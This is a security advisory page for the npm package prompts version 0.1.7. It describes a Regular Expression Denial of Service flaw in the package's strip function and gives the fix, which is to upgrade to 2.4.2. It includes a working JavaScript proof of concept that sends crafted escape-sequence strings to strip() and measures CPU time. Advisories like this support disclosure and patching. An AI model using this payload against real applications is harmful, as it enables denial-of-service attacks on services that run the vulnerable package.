prompts@0.1.7 vulnerabilities

Lightweight, beautiful and user-friendly prompts

  • latest version

    2.4.2

  • latest non vulnerable version

  • first published

    7 years ago

  • latest version published

    4 years ago

  • licenses detected

    • >=0.0.0 <1.0.0
  • Direct Vulnerabilities

    Known vulnerabilities in the prompts package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker that is able to provide a crafted input to the strip functionality may cause an application to consume an excessive amount of CPU.

    Note: CVE-2021-3868 was previously assigned to this vulnerability and retracted.

    PoC

    const strip = require('prompts/lib/util/strip.js');
    for(var i = 1; i <= 5000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*1000);
    strip(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade prompts to version 2.4.2 or higher.

    <2.4.2